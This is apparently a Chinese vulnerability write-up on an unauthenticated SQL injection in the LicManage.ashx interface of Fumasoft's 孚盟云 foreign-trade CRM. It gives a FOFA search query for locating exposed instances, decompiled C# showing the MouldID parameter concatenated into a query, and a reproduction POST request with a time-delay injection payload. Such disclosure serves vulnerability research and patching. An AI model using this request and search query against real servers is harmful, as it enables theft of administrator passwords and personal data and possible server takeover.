漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云LicManage.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 LicManage.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 LicManage 方法的实现如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str = context.Request["action"];
if (!string.op_Equality(str, "GetLicDetail"))
{
if (string.op_Equality(str, "GetReNewList"))
return;
if (!string.op_Equality(str, "ExtensionPermit"))
{
if (!string.op_Equality(str, "ExtPermitByMoney"))
return;
this.ExtPermitByMoney(context);
}
else
this.ExtensionPermit(context);
}
else
this.GetLicDetail(context);
}
根据参数action的值进入不同的处理逻辑,当action=ExtensionPermit时,看ExtensionPermit方法的实现
public void ExtensionPermit(HttpContext context)
{
try
{
string empty = string.Empty;
string AMouldID = context.Request["MouldID"] == null ? "" : context.Request["MouldID"].ToString();
string ABillFID = context.Request["BillFID"] == null ? "" : context.Request["BillFID"].ToString();
string str1 = context.Request["Auditer"] == null ? "" : context.Request["Auditer"].ToString();
if (string.op_Inequality(AMouldID, "") && string.op_Inequality(ABillFID, ""))
{
int AAuditState = 0;
DataTable dt = (DataTable) null;
DataTable dt2 = (DataTable) null;
if (!this.GetLicTable(AMouldID, ABillFID, ref AAuditState, ref dt, ref dt2))
{
context.Response.Write("false");
return;
}
当MouldID和BillFID不为空时,将二者带入GetLicTable方法
public bool GetLicTable(
string AMouldID,
string ABillFID,
ref int AAuditState,
ref DataTable dt,
ref DataTable dt2)
{
string empty = string.Empty;
DataSet dataSet = this.dbHelper.Query($"SELECT TOP 1 B.TableName FROM syMouldTables B WHERE B.MouldID='{AMouldID}' AND B.SQLNo=1 AND B.IsUpdate=1");
未经过滤或参数化绑定的参数 AMouldID 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。
当 action=ExtPermitByMoney时,和上面看逻辑一样,就不赘述了,看下图即可明白

漏洞复现
POST /Ajax/LicManage.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=ExtensionPermit&MouldID='SQLI_POC--

成功延时 5 秒

